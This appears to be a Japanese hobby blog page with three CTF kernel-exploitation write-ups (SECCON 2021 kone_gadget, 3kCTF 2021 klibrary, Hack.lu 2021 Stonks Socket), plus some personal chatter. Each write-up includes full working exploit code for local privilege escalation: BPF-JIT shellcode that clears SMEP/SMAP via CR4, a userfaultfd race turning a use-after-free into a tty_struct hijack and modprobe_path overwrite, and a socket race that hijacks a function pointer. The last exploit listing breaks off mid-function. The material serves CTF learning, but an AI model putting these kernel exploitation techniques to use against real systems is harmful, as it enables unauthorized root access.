来年の抱負、うーん。むずいですね。ぼくの性質として信念や目標や中長期的な計画を建てることが大の苦手なので。うーん、どうしようか。今ふと心に浮かんできたこととしては、楽しいと思わないことはあんまりやらない1年にしたいです。あとモンスターの黄色を箱買いしたいです。あと犬を愛でたいです。あと犬カフェに行きたいです。海見に行きたいです。朝は5:00に起きたいです。

 

 

 

https://youtu.be/yvUvamhYPHw

https://youtu.be/c7Ncpltj-rc

 

 

 

続かない...

 

 

 

 

【pwn 58.0】kone_gadget - SECCON CTF 2021 観戦記 (kernel exploit)

 

 

1: イントロ

SECCON CTF 2021 がいつだったか開催されたみたいです。本エントリではkernel問題のkone_gadgetを復習していきます。開催期間中は解けませんでした。あとパソコン壊れました。そろそろ買い換えようと思います。

なお、exploitはauthorさんのコピペなのでDiscordのチャンネルを見てください。

 

2: static

lysithea

lysithea.sh
===============================
Drothea v1.0.0
[.] kernel version:
Linux version 5.14.12 (ptr@medium-pwn) (x86_64-buildroot-linux-uclibc-gcc.br_real (Buildroot 2021.08-1129-gdd1412c060-dirty) 10.3.0, GNU ld (GNU Binutils) 2.36.1) #4 SMP Mon Nov 8 23:50:41 JST 2021
[-] CONFIG_KALLSYMS_ALL is enabled.
cat: can't open '/proc/sys/kernel/unprivileged_bpf_disabled': No such file or directory
[-] unprivileged userfaultfd is disabled.
[?] kptr seems restricted. Should try 'echo 0 > /proc/sys/kernel/kptr_restrict' in init script.
Ingrid v1.0.0
[.] userfaultfd is not disabled.
[-] CONFIG_STRICT_DEVMEM is enabled.
===============================

 

コレを見て、あ、unprivileged bpf使えないんかと絶望した。

 

patch

問題はシンプルで、以下のシステムコールを追加する。rax以外のレジスタを全クリアした上で、指定したアドレスにジャンプする。

 

patch.c
// Added to `arch/x86/entry/syscalls/syscall_64.tbl`
1337 64 seccon sys_seccon

// Added to `kernel/sys.c`:
SYSCALL_DEFINE1(seccon, unsigned long, rip)
{
  asm volatile("xor %%edx, %%edx;"
               "xor %%ebx, %%ebx;"
               "xor %%ecx, %%ecx;"
               "xor %%edi, %%edi;"
               "xor %%esi, %%esi;"
               "xor %%r8d, %%r8d;"
               "xor %%r9d, %%r9d;"
               "xor %%r10d, %%r10d;"
               "xor %%r11d, %%r11d;"
               "xor %%r12d, %%r12d;"
               "xor %%r13d, %%r13d;"
               "xor %%r14d, %%r14d;"
               "xor %%r15d, %%r15d;"
               "xor %%ebp, %%ebp;"
               "xor %%esp, %%esp;"
               "jmp %0;"
               "ud2;"
               : : "rax"(rip));
  return 0;
}

 

 

3: 考えたこと(FAIL)

スタックをピボットしてmmapしたuser領域に向けてなんとかROP出来ないかと一瞬考えた。SMAPだったわと思ってすぐに考えるのを止めた。authorを信頼しているため、まさかタイトルの通り本当にone_gadgetが存在しているとは全く思わなかったが、実際に手を動かさないとわからなさそうだったので、諦めた。

 

 

4: 想定解

終わってすぐに非想定解の方を聞いたため呆気にとられてしまったが、よくよく見るとちゃんと想定解があった。そしてかなり賢くて良い問題だった。

想定解では、seccompを使っている。seccompのフィルタルールがJITされること、及びNOKASLRゆえにそのページアドレスもpredictableなことを利用して、JITしたページに飛ぶとuser-controlledなコードを実行できる。とはいっても、bpfでは命令セットが少なく、pushとかpopもない(よね?)ため、ロード命令のIMMフィールドを上手く使ってシェルコードにしている。

どういうことかというと、以下のようなbpf命令を考えると:

.c
#define NOP \
  ((struct bpf_insn){                                                          \
      .code = BPF_LD | BPF_IMM, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0x01eb9090})

実際に生成されるJITコードは以下のようになる:

.txt
(gdb) x/10i $rip - 0x4
   0xffffffffc0000efc:  add    DWORD PTR [rax+0x1eb9090],edi
   0xffffffffc0000f02:  mov    eax,0x1eb9090
   0xffffffffc0000f07:  mov    eax,0x1eb9090
   0xffffffffc0000f0c:  mov    eax,0x1eb9090

これを、オペランドの部分だけ見て解釈すると以下のようにnop + nop + jmp 0x3になる:

.txt
(gdb) x/10i $rip - 0x2
   0xffffffffc0000efe:  nop
   0xffffffffc0000eff:  nop
=> 0xffffffffc0000f00:  jmp    0xffffffffc0000f03
   0xffffffffc0000f02:  mov    eax,0x1eb9090
   0xffffffffc0000f07:  mov    eax,0x1eb9090
   0xffffffffc0000f0c:  mov    eax,0x1eb9090

こうすることで、オペランドの中で任意の命令を実行しては、次にある命令をスキップしてまた任意の命令の実行に繋げることが出来る。

これで任意のシェルコードを実行できるようになった。あとはcommit(pkc(0))するために、kROPをしたい。これは、上のシェルコードなかでCR4をクリアしてSMAP/SMEP無効にすることで実現できる。賢いね。

因みに、上に書いた理由で成功率は75%の気がする。上のNOP命令のうち、nopとjmpでないところに当たると失敗する。また、スタック用のページは2ページ分ちゃんととらないと他の関数を呼んだときにスタックが溢れるので注意(これで少し時間を潰した)。

 

 

5: 非想定解

.asm
jmp &flag

f:id:smallkirby:20211212211419p:plain

jmp to flag

 

うわーーーーーーーーーーーーーーーーーーーーーーーーーーーーい。

 

 

6: exploit

 

Almost parts are copied from author's poc.

 

.c
#include "./exploit.h"
#include <linux/prctl.h>
#include <sys/mman.h>

/*********** constants ******************/

#define STACK 0xFFF000// must be
const ulong SECCOMP_RET_ALLOW = 0x7fff0000;

// KASLR is disabled
scu commit_creds = 0xffffffff81073ad0;
scu pkc = 0xffffffff81073c60;
scu trampoline = 0xffffffff81800e26;

#define NOP \
  ((struct bpf_insn){                                                          \
      .code = BPF_LD | BPF_IMM, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0x01eb9090})
#define BPF_RET_IMM(IMM) \
  ((struct bpf_insn){                                                          \
      .code = BPF_RET, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = IMM})

#define FSIZE 0x312 // COPIED FROM AUTHOR'S POC

// (END constants)

// clean e(dx|bx|cx|si|bp|sp), r([8-15])d, and jmp to $rip[$rax]
void seccon(ulong offset) {
  assert(syscall(1337, offset) == 0);
}

void install_filter(char *filter, ushort len) {
  struct sock_fprog prog = {
    .len = len,
    .filter = (struct sock_filter*)filter,
  };
  if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) errExit("no_new_privs");
  if(prctl(PR_SET_SECCOMP, 2, &prog) < 0) errExit("set_seccomp");
}

int main(int argc, char *argv[]) {
  puts("[+] start of exploit");
  struct bpf_insn nop = NOP;
  struct bpf_insn ret = BPF_RET_IMM(SECCOMP_RET_ALLOW);
  printf("[+] nirugiri @ %p\n", NIRUGIRI);
  save_state();
  ulong rop[] = {
    pkc,
    commit_creds,
    trampoline,
    0,
    0,
    (ulong)NIRUGIRI,
    (ulong)user_cs,
    (ulong)user_rflags,
    (ulong)user_sp,
    (ulong)user_ss,
  };
  ulong *filter = (ulong*)malloc((FSIZE + 1) * 8);

  // 2 more page is required cuz pkc() and etc uses stack
  const char *addr = (char*)mmap((void*)STACK, 2 * PAGE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_POPULATE | MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED, -1, 0);
  if (addr == MAP_FAILED || addr != (char*)STACK) errExit("mmap");
  printf("[+] mapped @ %p\n", addr);

  for (int ix = 0; ix != sizeof(rop); ++ix)
    ((ulong*)(addr + PAGE))[ix] = rop[ix];
  for (int ix = 0; ix != FSIZE; ++ix)
    filter[ix] = *(ulong*)&nop;
  filter[FSIZE] = *(ulong*)&ret;

  ulong *chain = &filter[FSIZE - 20];
  /**** COPIED from comment in Discord of SECCON 2021 from author: @ptrYudai ********/
  /**** (NOTE: 'jmp 1' here means `jmp 0x3`, which skips valid opcode field and jump to operand field, which is actually shellcode for us.) **/
  /**** (NOTE: unprivileged bpf installation is disallowed in this kernel, but seccomp installation is allowed and JITed, **/
  /****   So below insts uses LD instruction, whose IMM field is shellcode.) **/
  /**** (NOTE: for the reason stated above, success rate is 75%. )  **/
  *chain++ = (ulong)(0x04E7200F) << 32; // mov rdi, cr4; add al, XX;
  // edx = ~0x300000
  *chain++ = (ulong)(0x01ebD231) << 32; // xor edx, edx; jmp 1;
  *chain++ = (ulong)(0x01ebC2FF) << 32; // inc edx; jmp 1;
  *chain++ = (ulong)(0x01ebE2D1) << 32; // shl edx, 1; jmp 1;
  *chain++ = (ulong)(0x01ebC2FF) << 32; // inc edx; jmp 1;
  *chain++ = (ulong)(0x0414E2C1) << 32; // shl edx, 20; add al, XX;
  *chain++ = (ulong)(0x01ebD2F7) << 32; // not edx;
  // rdi &= rdx
  *chain++ = (ulong)(0x04D72148) << 32; // and rdi, rdx; add al, XX;
  // cr4 = rdi
  *chain++ = (ulong)(0x04E7220F) << 32; // mov cr4, rdi; add al, XX;
  // esp = 0x1000000
  *chain++ = (ulong)(0x01ebE431) << 32; // xor esp, esp; jmp 1;
  *chain++ = (ulong)(0x01ebC4FF) << 32; // inc esp; jmp 1;
  *chain++ = (ulong)(0x0418E4C1) << 32; // shl esp, 24; add al, XX;
  // commit_creds(prepare_kernel_cred(NULL));
  *chain++ = (ulong)(0x01ebFF31) << 32; // xor edi, edi; jmp 1;
  *chain++ = (ulong)(0x01eb9058) << 32; // pop rax; nop; jmp 1;
  *chain++ = (ulong)(0x01ebD0FF) << 32; // call rax; jmp 1;
  *chain++ = (ulong)(0x04C78948) << 32; // mov rdi, rax; add al, XX;
  *chain++ = (ulong)(0x01eb9058) << 32; // pop rax; nop; jmp 1;
  *chain++ = (ulong)(0x01ebD0FF) << 32; // call rax; jmp 1;
  // jump to swapgs_restore_regs_and_return_to_usermode
  *chain++ = (ulong)(0xccE0FF58) << 32; // pop rax; jmp rax;
  /**** end copied ******************************************************************/

  install_filter((char*)filter, FSIZE + 1);
  seccon(0xffffffffc0000f00); // JITed code is loaded

  // end of life
  puts("[ ] END of life...");
  sleep(999999);
}

 

 

7: アウトロ

f:id:smallkirby:20211212211358p:plain

nirugiri

良い問題でした。

 

 

 

8: 参考

1: nirugiri

https://youtu.be/yvUvamhYPHw

2: lysithea

https://github.com/smallkirby/lysithea

 

 

続く...

 

 

【pwn 57.0】klibrary - 3kCTF 2021 (kernel exploit)

keywords

kernel exploit, tty_struct, kROP to overwrite modprobe_path, race w/ uffd

 

1: イントロ

このエントリはTSG Advent Calendar 2019の24日目の記事です。実に700日ほど遅れての投稿になります。

前回は fiord さんによる「この世界で最も愛しい生物とそれに関する技術について - アルゴリズマーの備忘録」でした。次回は JP3BGY さんによる「GCCで返答保留になった話 | J's Lab」 でした。

 

すごくお腹が空いたので、いつぞや開催された 3kCTF 2021 のkernel問題である klibrary を解いていこうと思います。なんか最近サンタさん来ないんですが、悪い子なのかも知れないです。

 

2: static

リシテア曰く。

lysithea.sh
===============================
Drothea v1.0.0
[.] kernel version:
Linux version 5.9.10 (maher@maher) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for U1
[+] CONFIG_KALLSYMS_ALL is disabled.
cat: can't open '/proc/sys/kernel/unprivileged_bpf_disabled': No such file or directory
[!] unprivileged userfaultfd is enabled.
Ingrid v1.0.0
[.] userfaultfd is not disabled.
[-] CONFIG_DEVMEM is disabled.
===============================

割と手堅いけど、uffdができる。あとなんかvmlinuxをstripせずにそのままくれてた、クリスマスプレゼントかも知れない。どうでもいいけどCONFIG_KALLSYMS_ALLが無効になってる、めずらし。SMEP/SMAP/KPTI/KASLRは全部有効。

 

 

3: module overview

chrデバイスBook構造体のdouble-linked listを保持。典型的なノート問題。

book.c
struct Book {
  char book_description[BOOK_DESCRIPTION_SIZE];
  unsigned long index;
  struct Book* next;
  struct Book* prev;
} *root;

 

mutexを使っている。だが、わざわざ2つ(ioctl_lock, remove_all_lock)用意しているせいで、ロックを正常に取れていない(eg: REMOVE_ALL + REMOVE等)。

.c
static DEFINE_MUTEX(ioctl_lock);
static DEFINE_MUTEX(remove_all_lock);

  if (cmd == CMD_REMOVE_ALL) {
    mutex_lock(&remove_all_lock);
    remove_all();
    mutex_unlock(&remove_all_lock);
  } else {
    mutex_lock(&ioctl_lock);

    switch (cmd) {
    case CMD_ADD:
      add_book(request.index);
      break;
    case CMD_REMOVE:
      remove_book(request.index);
      break;
    case CMD_ADD_DESC:
      add_description_to_book(request);
      break;
    case CMD_GET_DESC:
      get_book_description(request);
      break;
    }

 

THE・ノート問題のため、モジュールの詳細は省略。ソースコードを見てください。

 

 

4: vuln

上に貼ったコードの通り、REMOVE_ALLとその他のコマンドで異なるmutexを使っているため、この2種の操作でレースが生じる。remove_all()は双方向リストを根っこから辿って順々にkfree()していく。add_description_to_book()/get_book_description()では、リストからユーザ指定のindexを持つBookを探し出し、copy_from_user()/copy_to_user()Book構造体にデータを直接出し入れする。

よって、(add|get)_description()で処理を止めている間にremove_all()で該当ノートを消してしまえばkUAFになる。最初にリシテアが言っていたようにunprivileged uffdが許可されているため、レースも簡単。

 

5: leak kbase via tty_struct

さて、struct Bookdescriptionを直接埋め込んでいるためkmalloc-1024に入る大きさである。この大きさと言えばstruct tty_struct。leakした後に適当にテキストっぽいものを選べばkbase leak完了! あとtty_structはkbaseの他にもヒープのアドレス、とりわけ自分自身を指すアドレスを持っているため、これも忘れずにleakしておく。

f:id:smallkirby:20211205132008p:plain

kbase leak

6: get RIP via vtable in tty_struct

さてさて、今度はRIPを取る必要がある。や、まぁRIP取らなくても年は越せるんですが。

原理はleakと同じで、copy_to_user()でフォルトを起こして止めている間に、remove_allでそいつをkfree()しちゃう。その直後にtty_structを確保することで、tty_structに任意の値を書き込むことが出来る。

書き込む位置は指定できず、必ずtty_structの先頭から0x300byte書き込むことになる。このとき、先頭のマジックナンバー(0x5401)が壊れているとtty_ioctl()@drives/tty/tty_io.c内のtty_paranoia_check()で処理が終わってしまうため、これだけはちゃんと上書きしておく。

f:id:smallkirby:20211205132028p:plain

tty_paranoia_check

tty_struct + 0x200あたりにフェイクのvtableとして実行したいコードのアドレスを入れておく。あとはopsを書き換えるために、(オフセットとか考えるのめんどいから)全部tty_struct + 0x200のアドレスで上書きする。ここで必要なtty_struct自身のアドレスは、先程のleakの段階で入手できている。これでRIPも取れました。

f:id:smallkirby:20211205132043p:plain

RIP

7: overwriting modprobe_path just by repeating single gadget

さてさてさて、このあとの方針は色々とありそう。以前解いたnuttyではtty_structの中でkROPをしてcommit(pkc(0))していた。けど、これはまぁ色々と面倒くさいし、この問題と少し状況が異なっていてstack pivotが簡単に出来なかったため却下。

上のスタックトレースは、ioctl(ptmxfd, 0xdeadbeef, 0xcafebabe)の結果なのだが、RDX/RSIが制御できていることが分かる。よって、mov Q[rdx], rsiとかmov Q[rsi], rdxみたいなガジェットを使うことで、任意アドレスの8byteを書き換えられる。tty_structは意外と頑丈らしく、全部破壊的に書き換えたとしても正常に終了してくれるっぽいので、このガジェットを何回でも呼び出すことが出来る。よって、これでmodprobe_pathを書き換えれば終わり。

gadget.txt
0xffffffff8113e9b0: mov qword [rdx], rsi ; ret  ;  (2 found)
0xffffffff81018c30: mov qword [rsi], rdx ; ret  ;  (4 found)

 

やっぱりこの方法めっちゃ楽。

 

8: exploit

exploit.c
#include "./exploit.h"
#include <fcntl.h>
#include <sched.h>

/*********** commands ******************/
#define DEV_PATH "/dev/library"   // the path the device is placed
#define CMD_ADD			0x3000
#define CMD_REMOVE		0x3001
#define CMD_REMOVE_ALL	0x3002
#define CMD_ADD_DESC	0x3003
#define CMD_GET_DESC 	0x3004

#define BOOK_DESCRIPTION_SIZE 0x300

/**********  types *********************/
typedef struct {
	unsigned long index;
	char* userland_pointer;
} Request;

#define GET_DESC_REGION          0x40000
#define ADD_DESC_REGION    0x50000

/*********** globals ****************/

char bigbuf[PAGE] = {0};
int fd, ttyfd;
ulong kbase = 0, tty_addr = 0;
scu mov_addr_rdx_rsi = 0x13e9b0;

// (END globals)

/********** utils ******************/

void add_book(int fd, ulong index) {
  Request req = {.index = index,};
  assert(ioctl(fd, CMD_ADD, &req) == 0);
}

void remove_all(int fd) {
  assert(ioctl(fd, CMD_REMOVE_ALL, remove_all) == 0);
}

// (END utils)

static void handler(ulong addr) {
  puts("[+] removing all books.");
  remove_all(fd);
  puts("[+] allocating tty_struct...");
  assert((ttyfd = open("/dev//ptmx", O_RDWR | O_NOCTTY)) > 3);
}

int main(int argc, char *argv[]) {
  system("echo -ne \"\\xff\\xff\\xff\\xff\" > /tmp/nirugiri");
  system("echo -ne \"#!/bin/sh\nchmod 777 /flag.txt && cat /flag.txt\" > /tmp/a");
  system("chmod +x /tmp/nirugiri");
  system("chmod +x /tmp/a");
  assert((fd = open(DEV_PATH, O_RDWR)) > 2);

  // spray
  for (int ix = 0; ix != 0x10; ++ix)
    assert(open("/dev/ptmx", O_RDWR | O_NOCTTY) > 3);

  // prepare
  add_book(fd, 0); add_book(fd, 1);

  // set uffd region
  struct skb_uffder *uffder = new_skb_uffder(GET_DESC_REGION, 1, bigbuf, handler, "getdesc");
  skb_uffd_start(uffder, NULL);
  sleep(1);

  // invoke uffd fault and remove all books while halting
  Request req = {.index = 1, .userland_pointer = (char*)GET_DESC_REGION};
  assert(ioctl(fd, CMD_GET_DESC, &req) == 0);

  assert((kbase = ((ulong*)GET_DESC_REGION)[0x210 / 8] - 0x14fc00) != 0);
  assert((tty_addr = ((ulong*)GET_DESC_REGION)[0x1c8 / 8] + 0x800) != 0);
  ulong modprobe_path = kbase + 0x837d00;
  ulong rop_start = kbase + mov_addr_rdx_rsi;
  printf("[!] kbase: 0x%lx\n", kbase);
  printf("[!] tty_struct : 0x%lx\n", tty_addr); // tty_addr is the Book[0]

  /****************************************************/

  // prepare
  add_book(fd, 0);

  // set uffd region
  struct skb_uffder *uffder2 = new_skb_uffder(ADD_DESC_REGION, 1, bigbuf, handler, "adddesc");
  skb_uffd_start(uffder2, NULL);
  *(unsigned*)bigbuf = 0x5401; // magic for paranoia check in tty_ioctl()

  // prepare fake vtable at the bottom of tty_struct
  for (int ix = 1; ix != BOOK_DESCRIPTION_SIZE / 8; ++ix) {
    ((unsigned long*)bigbuf)[ix] = tty_addr + 0x200;
  }
  for (int ix = BOOK_DESCRIPTION_SIZE / 8 / 3 * 2; ix != BOOK_DESCRIPTION_SIZE / 8; ++ix) {
    ((unsigned long*)bigbuf)[ix] = rop_start;
  }

  // invoke fault
  Request req2 = {.index = 0, .userland_pointer = (char*)ADD_DESC_REGION};
  assert(ioctl(fd, CMD_ADD_DESC, &req2) == 0);

  puts("[+] calling tty ioctl...");
  char *uo = "/tmp/a\x00";
  ioctl(ttyfd, ((unsigned *)uo)[0], modprobe_path);
  ioctl(ttyfd, ((unsigned *)uo)[1], modprobe_path + 4);

  puts("[+] executing evil script...");
  system("/tmp/nirugiri");
  system("cat /flag.txt");

  // end of life
  puts("[ ] END of life...");
  exit(0);
}

 

9: アウトロ

f:id:smallkirby:20211205132114p:plain

full exploit

風花雪月は4周目黄色ルートが終わりました。流石に飽きてきた可能性があり、5周目を始めるかどうか迷っています。

 

今年のアドベントカレンダーでは、「実家までこっそりと帰省して、バレないようにピンポンダッシュして東京に戻る」か「世界一きれいに手書きの『ぬ』を書きたい」のどちらかをテーマに書こうと思っています。また700日後にお会いしましょう。

 

 

10: 参考

1: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

 

続く...

 

 

【pwn 56.0】Stonks Socket - Hack.lu CTF 2021 (kernel exploit)

keywords

kernel exploit / race w/o uffd / shellcode

 

 

 

1: イントロ

 

最近はどうも気分が沈みがちで、そんな楽しくない日々を送っております。こんにちは、ニートです。

いつぞや開催された Hack.lu CTF 2021 。そのkernel問題である Stonks Socket を解いていきます。しんどいときには破壊と切り捨てと放置と放棄が大事です。

 

2: overview / analysis

 

static

リシテア曰く:

lysithea-analysis.sh
===============================
Drothea v1.0.0
[.] kernel version:
  Linux version 5.11.0-38-generic (buildd@lgw01-amd64-041) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #1
[!] mmap_min_addr is smaller than 4096: 65536
[!] Oops doesn't mean panic.
  you mignt be able to leak info by invoking crash.
[!] SMEP is disabled.
[!] SMAP is disabled.
[!] unprivileged ebpf installation is enabled.
[-] unprivileged userfaultfd is disabled.
[?] KASLR seems enabled. Should turn off for debug purpose.
[?] kptr seems restricted. Should try 'echo 0 > /proc/sys/kernel/kptr_restrict' in init script.
Ingrid v1.0.0
[.] userfaultfd is not disabled.
[-] CONFIG_STRICT_DEVMEM is enabled.
===============================

 

まず、SMEP/SMAP無効でKASLR有効なのは良い。ついでにOopsでleakできるのもいい(但し今回の問題はshellをくれるのではなくバイナリをアップロードして勝手に実行される形式だった。けど、その中でシェル開けばいいだけだから、なんでこの形式かはわからんかった)。問題は、userfaultfdが、実装こそされているもののunprivileged_userfaultfdが禁止されていると言っている。めんど。これは持論なんですが、どうせレースが解法で且つ相当巧妙なタイミング操作が問題の肝とかでも無い限り、uffdを殺すのは悪だと思っています。めんどいだけなので。まぁ、ソースを配布しているから全部許します。ソース無配布>>>>>>>>>>>>>>深夜2時にどんちゃん騒ぎする上階のカス住人>>>>uffd殺しのorderで悪です。

 

module overview

TCPプロトコルソケットのioctl実装をオレオレioctlに置き換えている(厳密には、内部でsuperしているため置き換えていると言うよりもプリフックしている)。

f:id:smallkirby:20211202162230p:plain

installation of the module

本モジュールはソケットからrecvmsg()する際に、メッセージのハッシュをバッファ末尾に付与するというのがメイン機能になっている。その実現のため、recvmsg()自体をカスタムのものに置き換えている。

stonks_ioctl.c
int stonks_ioctl(struct sock *sk, int cmd, unsigned long arg) {
    int err;
    u64 *sks = (u64*)sk;
    ...
    if (cmd == OPTION_CALL) { 
    ...
    sk->sk_user_data = stonks_sk;
    // replace `recvmsg` function with custom one
    sk->sk_prot->recvmsg = stonks_rocket;
    return err;
    ...

こいつの実装はこんな感じで、内部で本来のtcp_recvmsg()を呼びつつ、その後に独自のhash_function()でハッシュを生成してメッセージバッファに入れている。わざわざ関数ポインタ使ってるね、怪しいね。一応建前はハッシュ関数を選択できるようにらしいけどね。うん。

f:id:smallkirby:20211202162251p:plain

hook of `tcp_recvmsg()`

 

ハッシュ関数はこんな感じ。ソケットに入ってきたメッセージを、ユーザが指定したlength qword毎に区切ってバッファに入れて、どんどんXORしていく簡単な実装。

f:id:smallkirby:20211202162313p:plain

impl of hash function

 

お試しで以下のコードを実行すると、ちゃんと末尾にハッシュっぽいのが付与されているのが分かる。

 

test.c
  // write to socket from client
  write(csock, "ABCDEFG", 8);
  option_arg_t option = {
    .size = 0x4,
    .rounds = 1,
    .key = 0xdeadbeef,
    .security = 1,
  };
  assert(ioctl(psock, OPTION_CALL, &option) == 0);
  char bbuf[0x30] = {0};
  recv(psock, bbuf, 0x30, 0);
  puts("[.] received");
  printf("%s\n", bbuf);
  hexdump(bbuf, 0x30);
}

f:id:smallkirby:20211202162332p:plain

test

 

3: vulns

まぁ全体的にバギーなプログラムではある。lengthをいじることでsecure_hash()でスタックが溢れるうえに、oopsがpanicではないから敢えてoopsさせてleakさせるのもできる。他にも適当にモンキーテストしてたら簡単にクラッシュするパスも見つかったが、大して使えそうにはなかったため忘れてしまった。

f:id:smallkirby:20211202162401p:plain

leak via oops

一番の問題は、struct sockのロックを取っていないこと。本来の実装であるtcp_recvmsg()では、内部関数を呼ぶ前にちゃんと ソケットのロックを取っている。

net/ipv4/tcp.c
int tcp_recvmsg(struct sock *sk, struct msghdr *msg, size_t len, int nonblock,
		int flags, int *addr_len)
{
    ...
	lock_sock(sk);
	ret = tcp_recvmsg_locked(sk, msg, len, nonblock, flags, &tss,
				 &cmsg_flags);
	release_sock(sk);
    ...
}
EXPORT_SYMBOL(tcp_recvmsg);

 

だが、本モジュールではあろうことかsk->sk_user_dataをスタックに積んでロックもとらず放置してしまっている。いわゆるパッチ問(この問題もフックをつけてるだけだからある種のパッチ問だと思う)においては、本来の実装と違うところがバグである。

このsk_user_dataには、先程言ったハッシュを生成するためのユーザ指定の情報(関数ポインタのみユーザ指定不可)が入っており、tcp_recvmsg()後にスタックに積んだsk_user_dataから情報を取り出して使っている。このデータはioctlkfreeできるため、無事にUAF完成。

 

 

4: race

さてさて、最初に書いたようにunprivileged_userfualtfdが禁止されている。よって、結構シビアなレースをする必要が有る。最初はsendmsgで任意サイズのsprayをしようとしていたが、sendmsgでのspray、一回も成功したこと無くて断念した。これ、ほんとに使える???

こういう場合に安定なのは、モジュール内で実装されている関数・構造体をレースに使うこと。victimとなる構造体はstruct StonksSocketで、サイズは0x20

 

まず、クライアント1(victim)のソケットを開いてioctlしてStonksSocketを作る。次に、同一サーバに対してクライアント2(attacker)のソケットを作り、同様にioctlしてStonksSocketを作り、先にクソデカメッセージを送っておく。まだrecvはしない。

ここでスレッドを他に2つ作る。receiverスレッドでは、起動と同時にvictimのStonksSocketを削除して、その後attackerから永遠にrecvし続ける。

receiver.c
static void *receiver(void *arg) {
  puts("[+] receiver thread started");
  while(GO == 0);
  ioctl(victim_sock_fd, OPTION_PUT, NULL);
  while(1 == 1) {
    recv(attacker_sock_fd, bigrcvbuf, BIGSIZE, 0);
  }
  return NULL;
}

 

writerスレッドでは、一度だけvictimに対してwriteをする。このデータはなんでもいい。

writer.c
static void *writer(void *arg) {
  puts("[+] writer thread started");
  usleep(1500 * 1000);
  GO=1;
  for (int ix = 0; ix != 30; ++ix) {
    usleep(1);
  }
  write(victim_socket, bigbuf, 8);
}

 

最後に、メインスレッドでは一度だけvictimからreadする。

 

これらがうまく噛み合って以下の順で起こると、レースが起こる:

1. メインスレッドがvictimからreadする。stonks_rocket()内で、sk_user_dataポインタをスタックに積む。読むのはクソデカバッファだから、tcp_recvmsg()内でコンテキストスイッチする(しろ)。

2. readerスレッドがvictimのStonksSocketkfreeする。これでvictimのスタックに乗っているsk_user_dataはダングリング。

3. readerスレッド内でattackerからrecvすることで、secure_hash内の以下のパスで、victimがリリースした直後の0x20サイズのチャンク(StonksSocket)がとられ、kUAF(overwrite)。

.c
    while (i) {
        size = h->length * sizeof(u64);
        buf = kmalloc(size, GFP_KERNEL);
        i = copy_from_iter(buf, size, msg);
        for (j = 0; j < i; j++) {
            hash[j] ^= buf[j];
        }
        kfree(buf);
    }

4. writerスレッド内でvictimにwriteすることで、メインスレッドのrecvの処理が続行する。このときには、3によりsk_user_data->hash_function関数ポインタがattackerにより送られたメッセージの値で上書きされている。

5. メインスレッド内のrecvが、通常のtcp_recvmsg()を終えて書き換えられたハッシュ関数を呼び出す。

6. nirugiri

 

 

かなり調整がシビアで、writerスレッドとメインスレッドでスリープを挟んで微調整をしながら上手くいかないなぁと嘆いていたけど、 クソデカバッファのサイズをクソデカからクソデカデカデカデカにしたら上手くいった力こそ正義。

 

 

5: LPE

 

SMEPもSMAPも無効だから、RIPを取ればもう終わり。RIPが取れた時のスタックを眺めて、使えそうなシンボルをスタックから見繕ってcommit(kpc(0))した。

 

 

6: exploit

 

exploit.c
// for exploit.h, refer to https://github.com/smallkirby/lysithea

#include "exploit.h"
#include <sched.h>

/*********** commands ******************/

#define DEV_PATH ""   // the path the device is placed
#define u64 ulong
typedef union {
    // for OPTION_DEBUG
    struct {
        u64 off;
        u64 *data;
    };
    // for OPTION_CALL
    struct {
        unsigned size;
        u64 rounds;
        u64 key;
        u64 security;
    };
} option_arg_t;

#define OPTION_CALL     0x1337
#define OPTION_PUT      0x1338
#define OPTION_DEBUG    0x1339

/*********** constants ******************/

#define PORT 49494
#define BIGSIZE 0x80000
int victim_sock_fd = -1, attacker_sock_fd = -1;
int victim_socket, attacker_socket;
char bigbuf[BIGSIZE] = {0};
char bigrcvbuf[BIGSIZE] = {0};
const option_arg_t call_option_security = {
    .size = 0x4,
    .rounds = 1,
    .key = 0xdeadbeef,
    .security = 1,
};
const option_arg_t call_option_empty = {
    .size = 0x4,
    .rounds = 1,
    .key = 0xdeadbeef,
    .security = 0,
};
int GO = 0;

/****** (END constants) *****************/

#define DIFF_PREPARE_KERNEL_CRED 0x38f4b
#define DIFF_COMMIT_CREDS 0x3944b

void nirugiri()
{
  asm(
    "mov rax, [rsp+0x28]\n"
    "sub rax, 0x38f4b\n"
    "xor rdi, rdi\n"
    "call rax\n"
    "mov rdi, rax\n"
    "mov rax, [rsp+0x28]\n"
    "sub rax, 0x3944b\n"
    "call rax\n"
    //"mov rax, [0xaaa]\n" // PROBE
    "leave\n"
    "ret\n"
  );
}


int listenat(int port) {
  printf("[.] creating listening socket @ %d ...\n", port);
  int sock = socket(AF_INET, SOCK_STREAM, 0);
  assert(sock != -1);
  struct sockaddr_in addr;
  memset(&addr, 0, sizeof(addr));
  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = htonl(INADDR_ANY);
  assert(bind(sock, (struct sockaddr*)&addr, sizeof(addr)) != -1);
  assert(listen(sock, 999) == 0);

  return sock;
}

int connectto(int port) {
  puts("[.] creating client socket");
  int csock = socket(AF_INET, SOCK_STREAM, 0);
  assert(csock != -1);
  struct sockaddr_in caddr;
  memset(&caddr, 0, sizeof(caddr));
  caddr.sin_family = AF_INET;
  caddr.sin_port = htons(port);
  caddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  assert(connect(csock, &caddr, sizeof(caddr)) == 0);

  return csock;
}

static void *receiver(void *arg) {
  puts("[+] receiver thread started");
  while(GO == 0);
  ioctl(victim_sock_fd, OPTION_PUT, NULL);
  while(1 == 1) {
    recv(attacker_sock_fd, bigrcvbuf, BIGSIZE, 0);
  }
  return NULL;
}

static void *writer(void *arg) {
  puts("[+] writer thread started");
  usleep(1500 * 1000);
  GO=1;
  for (int ix = 0; ix != 30; ++ix) {
    usleep(1);
  }
  write(victim_socket, bigbuf, 8);
}

int main(int argc, char *argv[]) {
  puts("[.] exploit started.");
  printf("[+] nirugiri @ %p\n", nirugiri);

  // create receiver socket
  int server_socket = listenat(PORT);
